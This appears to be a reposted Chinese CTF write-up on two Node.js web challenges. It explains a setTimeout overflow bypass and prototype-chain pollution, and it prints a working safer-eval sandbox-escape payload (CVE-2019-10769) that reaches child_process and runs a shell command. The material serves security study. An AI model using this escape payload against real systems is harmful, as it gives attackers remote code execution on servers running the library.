[GKCTF2020]EZ三劍客-EzNode&[GYCTF2020]Ez_Express


寫在前面

Nodejs基礎一點沒有做題還是很難下手的,要學的還很多

[GKCTF2020]EZ三劍客-EzNode

知識點

1.settimeout溢出

2.沙盒逃逸

題解

打開題目,看源代碼

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

通過/eval?delay=上傳一個數字並和60000比較,大的賦值給delay

根據上文的內容中:

setTimeout最多只能推遲執行2147483647毫秒(24.8天),超過這個時間會發生溢出,導致回調函數將在當前任務隊列結束后立即執行

我們傳入一個大於2147483647的值即可

再看

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫

百度上去找safer-eval庫發現存在漏洞(CVE-2019-10769 )

直接拿來用就行 鏈接:https://github.com/commenthol/safer-eval/issues/10

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

[GYCTF2020]Ez_Express

知識點

1.Nodejs原型鏈污染

鏈接:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

原型鏈概念

在 Javascript,每一個實例對象都有一個prototype屬性,prototype 屬性

可以向對象添加屬性和方法。

object.prototype.name=value

在 Javascript,每一個實例對象都有一個__proto__屬性,這個實例屬性 指向對象的原型對象(即原型)。可以通過以下方式訪問得到某一實例對 象的原型對象:

objectname["__proto__"] 

objectname.__proto__ 

objectname.constructor.prototype

污染原理

object[a][b] = value 如果可以控制a、b、value的值,將a設置為 proto,我們就可以給object對象的原型設置一個b屬性,值為value。這樣 所有繼承object對象原型的實例對象在本身不擁有b屬性的情況下,都會擁有b 屬性,且值為value。

object1 = {"a":1,"b":2};
object1.__proto__.foo = "hhh";//直接修改原型,添加foo
console.log.(object1.foo);
object2 = {"c":1,"d":2};
console.log(object2.foo);//本身沒找到,就去原型里找

2.Nodejs大小寫轉換特性

題解

鏈接:http://ybm911.work/2020/03/25/BUU|-GYCTF2020-Ez-Express/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM